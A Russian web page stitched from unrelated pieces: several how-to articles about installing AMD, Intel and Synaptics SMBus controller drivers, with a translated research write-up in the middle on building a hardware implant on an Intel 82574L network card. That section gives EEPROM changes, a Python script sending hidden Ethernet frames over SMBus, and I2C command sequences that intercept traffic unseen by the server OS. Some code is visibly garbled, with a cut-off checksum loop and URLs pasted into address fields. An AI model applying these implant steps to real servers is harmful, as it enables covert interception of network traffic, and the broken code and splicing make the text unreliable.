Elan smbus driver что это за драйвер
За что отвечает драйвер AMD SMBus?
Скачивая драйвера для своего компьютера или ноутбука с официального сайта производителя в списке доступных драйверов можно обнаружить некий драйвер с именем AMD smbus.
Иногда при установке Windows система сама устанавливает этот драйвер если он есть в стандартном пакете. Если же вы видите в диспетчере задач неизвестное устройство smbus, то драйвер на него нужно установить вручную.
Ситуация, в которой требуется установка драйвера AMD ASMbus вручную
Что такое AMD SMBus?
AMD здесь это название компании производителя. А SMBus – System Managment Bus – шина управления системой. Предназначением данной шины является связывание друг с другом различные устройства, подключенные к компьютеру для управления ими напрямую без использования индивидуальных сигналов. Также AMD smbus используется для опроса состояния и просмотра свойств устройств, подключенных к компьютеру.
Проще говоря, если нет драйвера SMBus, то не будут работать программы съема информации с датчиков материнской платы (температура), разгона, прошивки BIOS из под Windows.
Выводы
Таким образом можно сделать вывод, что драйвер AMD SMBus является обязательным драйвером, который должен быть установлен на компьютере, если имеется соответствующее устройство в диспетчере устройств или если на официальном сайте производителя ноутбука или материнской платы этот драйвер доступен для скачивания.
Драйвер AMD SMBus на официальном сайте ноутбуков Lenovo
Также часто данный драйвер может входить в состав пакета драйверов на чипсет.
SM контроллер шины: что это такое и где взять драйвер
Шина SM: что это такое
Шина системного управления SM (System Management Bus), она же SMBus и SMB – это двухпроводная, двунаправленная линия данных, образующая связь интегральных схем внутри компьютера. Она используется для получения информации об устройствах, их настройки и управления режимами работы, по ней передаются данные от датчиков аппаратного мониторинга (напряжений, температур, скорости вращения вентиляторов, закрытия крышки и прочего), она служит средой передачи сигналов подсистемы питания ПК и т. д. Одним словом, шина SM – универсальный интерфейс, который взаимодействует с основной массой оборудования.
Например, посредством SMBus контроллер памяти получает данные о характеристиках каждого установленного модуля ОЗУ и задает параметры их совместной работы. Через нее пользователь и программы могут менять настройки часов реального времени, управлять яркостью монитора, увеличивать громкость динамиков и т. д.
Пример изображения интерфейса SMBus на схеме электронного устройства показан ниже. Линия SDA отвечает за передачу данных, а SCL – за синхронизацию.
Для чего нужен драйвер для Windows SM контроллер шины
Данный драйвер обеспечивает работоспособность «SM контроллера шины» также известного как «SM Bus Controller». Полное наименование данного контроллера — «System Management Controller», что в переводе означает «Контроллер системного управления».
На материнской плате SM контроллер шины представлен в виде чипсета, основной функцией которого является контроль вольтажа и температуры материнки вашего PC. Важной функцией SMBus также является снабжение ОС информацией об установленных на компьютере устройствах, что позволяет корректно отображать информацию о них в «Диспетчере устройств».
Контроллер SM Bus часто интегрирован в аппаратную начинку от «Интел», потому если на вашей материнской плате имеется чипсет от «Inter», тогда вы вполне вероятно встретите там и рассматриваемый мной «SM контроллер шины».
Полноценную работу «SM контроллера шины» обеспечивает соответствующий драйвер от Интел, имеющий несколько версий. При дисфункции (или отсутствии) данного драйвера в «Диспетчере устройств» слева от устройства «SM контроллер шины» будет отображаться восклицательный знак на жёлтом фоне. А в информации о драйвере данного устройства пользователь найдёт сообщение об отсутствии в системе установленного драйвера и код ошибки 28.
Также в разделе Другие устройства может отсутствовать сетевой контроллер драйвер для Windows 7 64 bit.
Нужно ли устанавливать данный драйвер?
На самом деле устанавливать его не обязательно. Это служебный и вспомогательный драйвер. Если компьютер (или ноутбук) эксплуатируется в штатном режиме – никаких проблем не возникнет.
При высоких же нагрузках (например, рендеринг видео или компьютерные игры) настройка данного устройства обязательна. В ситуации, когда отключено защитное выключение устройства без sm-контроллера система не распознает опасность. Вместо привычного выключения продолжится эксплуатация в условиях не соответствующих нормальным. В случае с видеокартой (самый уязвимый к данному нюансу и наглядный пример) следствием такого использования станет появление артефактов на экране.
Поэтому не смотря на кажущуюся сложность, устанавливать драйвер для этого устройства обязательно.
Где взять драйвер?
Здесь все просто. Драйвер для SM контроллер шины можно найти на диске от материнской платы или от ноутбука. Также он обязательно будет в на сайте производителя в разделе поддержки.
На диске драйвер будет называться как драйвер чипсета (Intel Chipset).
Если же диска нет, то вам нужно определить модель ноутбука или модель материнской платы.
Ввод модели ноутбука или материнской платы на официальном сайте поддержки Samsung
Далее переходите на официальный сайт производителя, например Asus или Samsung и в разделе поддержки вводите модель для перехода к странице с драйверами.
Драйвер чипсета на официальном сайте поддержки
Лучший способ отблагодарить автора статьи- сделать репост к себе на страничку
SM Bus Controller SM контроллер шины System Management Controller
Автоматическая установка драйвера SM контроллера
Наиболее простым (но не всегда эффективным) способом решения проблемы является задействование стандартного системного механизма обновления драйверов.
Загрузка с сайта Интел
Наиболее же эффективным вариантом решения проблемы является загрузка и установка данного драйвера с ресурса производителя чипсета – компании «Интел».
В данном сборнике драйверов имеются драйвера для СМ-контроллера для большинства современных версий ОС Виндовс, включая и нужную нам Виндовс 7 64. После клика на указанное ПО откроется страница его загрузки, где вам необходимо будет внизу выбрать «SetupChipset.exe», согласиться с условиями, после чего скачать и запустить данный файл. После этого проблема с драйвером контроллера СМ шины обычно бывает решена.
Выставьте соответствующие фильтры
Использование специализированного софта
Довольно эффективным инструментом установки свежего драйвера для СМ контроллера шины Виндовс 7 64 является использование софта для установки драйверов: Лучшие программы для поиска и установки драйверов. Установите данный софт, он проведёт проверку имеющихся в вашей ОС драйверов, и установит на ПК их самые свежие версии.
Установка драйвера
Основной сложностью является не установка, а именно поиск драйвера. Обычно проблему помогают решить версия Windows и наличие доступа к Интернету. Правда, в некоторых ситуациях могут потребоваться и специальные средства.
Если для ноутбука или материнской платы есть диск с драйверами и версия диска подходит для выбранной ОС, — решение простое. Запускаем полную установку находящихся на диске компонентов. Обычно драйвер sm-контроллер для Windows XP, 7, 8, 10 устанавливается вместе с драйверами на чипсет.
Есть, конечно, и исключения. Например, для ноутбуков HP данный драйвер sм-контроллера шины является не частью чипсета, а включён в пакет HP Software Framework. При наличии диска рекомендуется устанавливать всё, что удаётся на нём найти.
Единственное требование для способа – знать с чем имеем дело. Потребуется определить, какая материнская плата используется в компьютере (ПК). Если речь идёт о ноутбуке, потребуется рассмотреть только его модель. Важно помнить, что даже различие в последней цифре существенно.
Для примера рассмотрим материнскую платуBiostar P31B-A7. Зная модель карты/ноутбука и производителя следуем инструкции:
Даже в ситуации, когда чипсет уже настроен бояться нечего. Этот способ срабатывает в большинстве случаев.
В ситуации, когда неизвестен производитель устройства, на помощь придут его Ven и Dev коды. Это сокращённые машинные обозначения производителя (VENdor – продавец или изготовитель) и изделия (DEVice — устройство). Узнав их, можно будет отправиться на официальный сайт и скачать нужный драйвер.
Примечание: в интернете можно будет найти предложения скачать микропрограмму напрямую. Делать этого не стоит. Зачастую таким образом устанавливаются неверные микропрограммы, которые просто выключают компонент.
Чтобы узнать эти коды потребуется:
Принцип и схема работы компьютера – аппаратная и программная части
Способ сложный, зато даёт 100% гарантию установки корректного драйвера.
Фактически это простейший из способов установить драйвер для sm-контроллера шины. Но упомянут ближе к концу по той причине, что срабатывает не со 100% гарантией (особенно с устаревшим оборудованием). Используется он элементарно:
Не смотря на простоту способа, он не даёт 100% гарантии и для некоторых версий Windows (например, для Десятки) требует включённого «Центра обновлений».
Примером таких программ можно назвать DRP (DriverPack Solution). Это сборники драйверов или утилиты, которые помогают в поиске и установке драйверов. Задача программ – проделать все описанные выше действия вместо пользователя. С учётом стоимости некоторых из этих утилит их использование не всегда оправдано.
Также важно понимать: использование этих сборников на ноутбуках нередко приводит к чёрным экранам из-за некорректной установки чипсета или видеокарты. Лучше избегать использования таких программ. Обратиться к ним можно только если не удалось справиться другими способами.
Что делать, если в пакете драйверов для чипсета не было драйвера SM?
В большинстве случаев с установкой драйверов для чипсета устанавливаются и драйвера для контроллера шины SM. Однако, на достаточно старых материнских платах этот драйвер может устанавливаться отдельно. Соответственно, в «Диспетчере устройств» возле элемента SM контроллера шины будет отображаться ошибка.
В данном случае нужно выполнить следующие действия:
ВАЖНО! Нужно проверять загружаемый файл на предмет вредоносного ПО.
Устанавливаем драйвер и после инсталляции перезагружаем систему, чтобы изменения вступили в силу. Таким способом устанавливаем не только драйвер к SM, но и к другим компонентам в списке.
Делаем собственный имплант для электроники
История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной. После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения).
Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами. Вот что конкретно подогрело наш интерес:
Легальный сервер отправлял сообщения одним способом, имплант – другим, но казалось, что весь трафик происходит от одного доверенного сервера.
Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller – компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.
Начальная позиция
Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу – это интеллектуальный интерфейс управления платформой IPMI.
Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS’a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.
На следующей блок-схеме показан возможный путь реализации проекта:
IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. NC-SI – это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом. Так что пока остановимся на SMBus.
SMBus
SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I 2 C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (тактовая частота и данные), и третий сигнал — прерывание. Идеально подходящий для игр с имплантом протокол.
Первый контакт
Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» – как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.
Доступ к SMBus
Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?
В документации можно отследить SMB_DAT и SMB_ALRT_N. К счастью, все они оказались доступными на контактных площадках. Вроде бы всё достаточно легко.
NIC PCB. Слева вверху – EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT]. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.
Мы подключили зонд I 2 C и просканировали SMBus, но ничего полезного не считали. Документация говорит, что SMBus включается только при установке определённого битового регистра. Это значение загружается с EEPROM. Пришло время копнуть глубже.
Включаем доступ к SMBus
Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip «W25X40» (512 kB, SPI) on buspirate_spi.
Reading flash. done.
Судя по NVM map (глава 6.1 документации), видно, что нам надо изменить два значения:
После этого нам надо ещё разобраться со значением Checksum. В главе 6.1.2.11 указано, что сумма всех слов в диапазоне [0x00-0x40] должна равняться 0xBABA. Немного Python поможет нам подсчитать правильную контрольную сумму:
import struct
data = open(‘/tmp/flash.mod’, ‘rb’).read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack(‘
И вот, наконец, все наши изменения для EEPROM:
00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h. 0.F.
00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i. k. Z.
После внесения изменений и прошивки EEPROM мы подсоединили I 2 C зонд и:
i2c1> scan
Device found at address 0x49
i2c1>
Адрес I 2 C кодируется в семи битах, требуемый нам адрес получается, как 0x49 [START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[START] и [STOP] – это условия START и STOP, определяемые протоколом I 2 C.
К примеру, команда на чтение MAC-адреса (описанная в главе 8.8.2.3) будет 0xD4. Отправляем команду в SMBus в режиме I 2 C:
[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
При переводе в команды Hydrabus это будет:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK
И, да, мы получаем наш MAC-адрес!
Делаем имплант
Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.
Отправка пакетов
Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:
import serial
import struct
from scapy.all import *
def send_frame(pkt):
# Define the frame size
pktlen = struct.pack(«B», len(pkt))
# Define the data length to be sent
fulllen = struct.pack(«>h», len(pkt)+3)
# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write(‘\x08’+fulllen+’\x00\x00’)
ser.write(«\x92\xc4″+pktlen+pkt)
# If packet has been sent successfully
if ser.read(1) == ‘\x01’:
print «Send OK»
else:
print «Error sending»
ser.write(‘\x00’)
ser.write(‘\x00’)
ser.write(‘\x0F\n’)
quit()
# Open Hydrabus in binary mode
for i in xrange(20):
ser.write(«\x00»)
if «BBIO1» not in ser.read(5):
print «Could not get into binary mode»
quit()
# Switch to I2C mode
ser.write(‘\x02’)
if «I2C1» not in ser.read(4):
print «Cannot set I2C mode»
quit()
#Create the frame to send
p = Ether(src=»https://habr.com/ru/post/429190/11:22:33:44:55:66″, dst=»ff:ff:ff:ff:ff:ff») / IP(src=»https://habr.com/ru/post/429190/10.31.32.82″, dst=»10.31.32.80″)/ICMP()
#Send the frame
send_frame(str(p))
# Return to main binary mode
ser.write(‘\x00’)
#reset to console mode
ser.write(‘\x0F\n’)
После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:
Tcpdump с машины атакующего слева, сервера – справа
Чтение пакетов
Фильтрация
Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:
Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8.4.3).
Реализация
Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.
Используя наш I 2 C-зонд, мы можем настроить всё это четырьмя командами:
// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Как описано в главе 8.8.1.3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8.4.5).
Чтение фреймов
Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.
Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение – просто, чтобы подтвердить, что этот принцип работает. Схема выглядит так:
Получается нечто интересное:
Слева SMBus читает фрейм, данные фрейма показаны внизу. Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов.
Ретрансляция фреймов
Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:
// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Включив фильтры, мы можем отправить SNMP-запрос на сервер с имплантом и увидеть пакет, который перехватил имплант. При этом сервер отвечает на запрос – а значит, пакет был правильно перенаправлен на SMBus и PCIe:
Вверху – перехваченный SNMP-запрос с импланта. Внизу — SNMP-запрос дошёл до сервера.
Заключения
Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:
Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.
Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. Кроме того, имплант способен перехватывать только трафик, приходящий из сети. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.
990x.top
Простой компьютерный блог для души)
Synaptics SMBus Driver — что это за драйвер? (SM Bus Controller)
Данный драйвер принадлежит устройству SM Bus Controller, которое является двухпроводной, двунаправленной шиной данных для взаимодействия внутренних компонентов ПК.
Учитывая упоминание в названии Synaptics — скорее всего данное устройство чаще всего встречается на ноутбуках.
Зачем может использоваться данная шина:
Кто управляет шиной Synaptics SMBus Driver?
Занимается специальный контроллер на материнке, дрова на него входят в состав дров чипсета. Это относится к платформе AMD/Intel.
Устройство Synaptics SMBus Driver в диспетчере:
Synaptics SMBus Driver — нужен ли этот драйвер?
Да, конечно. Но искать его отдельно — особого смысла нет, он часто входит в состав пакета дров на чипсет. Вам нужно скачать драйвера на чипсет с страницы к вашей материнской платы на официальном сайте, например она может выглядеть так:
Просто пишите в поисковик модель платы и скачать драйвера, а потом ищите дрова на чипсет.
Однако скажу честно — лично я не устанавливал дрова на чипсет. Это сделала сама Windows 10 при обновлении, я устанавливал вообще дрова только на звуковую плату и все. На все остальное операционка сама поставила, в итоге все работает стабильно, никаких глюков. Но в теории лучше конечно скачивать с оф сайта и ставить вручную, там может быть немного более новая версия драйвера. Просто Windows качает дрова из собственного хранилища, иногда там версия драйвера чуть устаревшая, но обычно это некритично.
Надеюсь данная информация кому-то помогла. Удачи и добра.